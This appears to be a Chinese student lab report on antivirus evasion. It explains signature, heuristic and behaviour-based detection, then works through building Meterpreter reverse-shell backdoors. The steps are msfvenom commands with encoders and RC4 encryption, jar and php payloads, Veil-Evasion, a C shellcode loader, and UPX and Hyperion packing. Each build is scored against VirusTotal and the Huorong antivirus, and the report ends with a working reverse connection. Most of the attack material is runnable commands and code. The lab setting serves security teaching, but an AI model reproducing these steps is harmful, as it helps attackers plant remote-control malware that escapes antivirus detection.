zoukankan      html  css  js  c++  java
  • 网络对抗技术 20181216 Exp3 免杀原理与实践

    网络对抗技术 20181216 Exp3 免杀原理与实践

    免杀原理

    免杀是对恶意软件做处理,让他不被杀毒软件所检测。要做好免杀,就需要清楚杀毒软件是如何工作的;反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

    基础问题回答

    Q1: 杀软是如何检测出恶意代码的?
    A1: 杀软检测恶意代码的方式有下列三种

    • 基于特征码的检测
      • 特征码是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
      • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
      • 恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
      • 特征库举例——SNORT
    • 启发式恶意软件检测
      • 根据片面特征去推断(看起来像),通常缺乏精确判断依据
      • 不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高
    • 基于行为的恶意软件检测
      • 基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式
      • 让软件运行,记录其行为并分析(杀软的工作原理)

    Q2: 免杀是做什么?
    A2: 通过使用一些手段,免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现。

    Q3: 免杀的基本方法有哪些?
    A3: 根据杀软检测恶意代码的方式总结的技术有

    • 改变特征码(改变机器指令)
      • 有EXE——加壳:压缩壳、加密壳
      • 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
      • 有源代码——用其他语言进行重写再编译(veil-evasion)
    • 改变行为
      • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
      • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

    实验内容

    任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法

    1、 免杀检测

    • 使用VirusTotal对实验二生成的后门程序进行扫描。

      • 用VirusTotal扫描后结果如下:70款杀软中50款报出了病毒,不加处理的后门程序能被大部分的杀软检测到

    2、 正确使用msf编码器,生成exe文件

    • 一次编码使用命令:-e选择编码器,-i设置迭代次数,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符
    • 加密一次时拖出来直接被防火墙拦截了。设置允许权限之后放到网站上检测,有54个杀软能检测到。

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.159.131 LPORT=1216 -f exe > met-encoded.exe


    • 编码十次使用命令:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.159.131 LPORT=1216 -f exe > met-encoded10.exe

    3、 msfvenom生成jar文件

    • 生成java后门程序使用命令:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=1216 x > hy_backdoor_java.jar

    这次是47分之25。

    4、 msfvenom生成php文件

    • 生成php后门程序使用命令:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=1216 x> 20181216_backdoor.php

    • 能识别php后门的杀软更少一些,是18/58。
    • 然而被火绒乱杀

    5、 使用veil-evasion生成后门程序及检测

    • sudo apt-get install veil-evasion命令安装Veil。安装过程比较复杂,需要换源,修改程序后会让输一串命令:

    • 这样就成功了。

    • use evasion命令进入Evil-Evasion

    • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

    设置反弹连接IP,命令为:set LHOST 192.168.159.131,此处的IP是虚拟机Kali的IP

    设置端口,命令为:set LPORT 1216

    输入generate生成文件,接着输入你想要playload的名字:veil_c_1216

    如上图所示,保存路径为/var/lib/veil/output/compiled/veil_c_1216.exe

    此时我安装了一个杀毒软件火绒,拖出来直接给火绒杀了,不过我退了火绒重新拖了一次,好像windows自带的防火墙没有检测到。


    6、 注入Shellcode并执行(嵌入式Shellcode)

    • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=1216 -f c
      用c语言生成一段shellcode

    创建一个文件20181216.c,代码如下:

    unsigned char buf[] =
    “...."

    “....";

    int main(){
    int (func)() =(int()())buf;
    func();
    }

    使用命令:i686-w64-mingw32-g++ 20181216.c -o 20181216.exe编译这个.c文件为可执行文件

    这次拖出来防火墙没反应,用火绒扫描了一下,给杀了。


    7、 加壳

    加壳是对相应的资源进行压缩,压缩后仍可运行。
    加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
    它可以用来保护版权,但同时许多病毒也利用它来作为原理。

    • 使用压缩壳(UPX)——减少应用体积,如ASPack,UPX

      使用命令upx 20181216.exe -o hy_upxed.exe给之前的20181216.exe加个壳得到hy_upxed.exe

    尝试用火绒扫描,这次火绒没扫出来,证明是免杀成功!

    尝试反弹连接

    连接成功!成功黑进去了,可以看到文件夹的文件等。

    加密壳Hyperion——版权保护,反跟踪,如ASProtect,Armadillo

    • 由于下一步是使用其他方法进行面杀,所以就直接把加压缩壳后的文件直接再加加密壳。

    • 将上一个生成的文件拷贝到/usr/share/windows-resources/hyperion/目录中

    • 进入目录/usr/share/windows-binaries/hyperion/

    • 输入命令wine hyperion.exe -v hy_upxed.exe hy_upxed_Hyperion.exe
      进行加壳:

    结果拖出来的时候直接被拦截了,证明免杀的功能还不如上面的java,php

    8、 使用加密的方法:

    • 用msfvenom生成使用一个RC4加密的shellcode,用上述方法,编写一个c程序,并生成exe文件
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=1216 --encrypt rc4 --encrypt-key thisisakey -f c
    

    实验结果是免杀成功了。

    9、 使用Veil-Evasion的其他载荷生成后门

    • 输入命令veil启动, 用use evasion命令进入Evil-Evasion
    • 输入list查看其他可用的有效荷载

    这里我用了好几个载荷,13,14,17,最后好像只有13可以。

    输入命令use 13,这里我选择的是第13个载荷cs/shellcode_inject/virtual.py

    运行generate生成有效载荷,我们选择4带有shellcode的有效载荷。这里会要求输入本机的IP:192.168.159.131和该payload使用的端口,我们设置为1216端口

    成功完成以上编译后,编译后的文件被保存在/var/lib/veil/output/compiled/cs_Veil_1216.exe

    同时新生成的 shellcode 的 rc 文件也被保存在了 /var/lib/veil/output/handlers/cs_Veil_1216.rc下!既然有了rc文件,那么我们就可以方便的利用MSF 行调用了

    进入该文件目录下cd /var/lib/veil/output/handlers/

    使用命令msfconsole -r cs_Veil_1216.rc

    然而还是给火绒杀了

    把火绒关了,尝试连接,发现始终连接不上,可能是火绒的组建还在:


    后来重启了一下kali,结果kali直接炸了,不过终端勉强还能用,重启之后连接成功!火绒也没有杀掉。算上之前的压缩后门和加密后门就等于有三个成功免杀了!

    任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    根据上述的实验尝试,有两次可以成功免杀并黑进主机:

    • 压缩加壳
    • veil采用13生成后门
    • 使用加密的方法

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    我使用了一台kali虚拟机作为控制端,另一台电脑作为被控端

    杀软使用的是火绒。

    运行之后,kali得到结果


    实验成功!

    实验中遇到的问题

    Q1:安装不了veil。解决方法:

    step1:卸载之前的veil,先不要命令行输入veil

    step2:apt-get install veil

    step3:使用命令cd /usr/share/veil/config/进入该文件夹,使用ls查看该文件夹的内容

    step4:使用命令vim setup.sh编辑文件,第251行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git

    step5:命令行输入veil,一路确定,有一个要你输一串字符,就输这个

    Q2:Kali炸了

    有没有小伙伴遇到过这种问题,人傻了。

    窗口的边框都没有了,而且桌面也换的奇奇怪怪了,感觉只能重装kali了,之前kali装的东西都白费了,又得装一次,建议大家每装一次东西都拍个快照,血的教训。

    实验感想

    这次实验步骤比较多,比较复杂,最后我的kali还炸了,非常辛酸。但是我从中也学到了不少,学到最多的就是防火墙的功能以及怎样设计后门不容易被杀。今后也要增强安全意识,搞不清楚的文件可以先拿到网站上扫一扫。

  • 相关阅读:
    编程总结2
    编程总结3
    《秋季学期学习总结》
    《人生路上对我影响最大的三位老师》
    第八周编程总结
    第七周编程总结
    第六周编程总结
    第五周作业
    第四周编程总结
    第三周编程总结
  • 原文地址:https://www.cnblogs.com/yanglao/p/14615780.html
Copyright © 2011-2022 走看看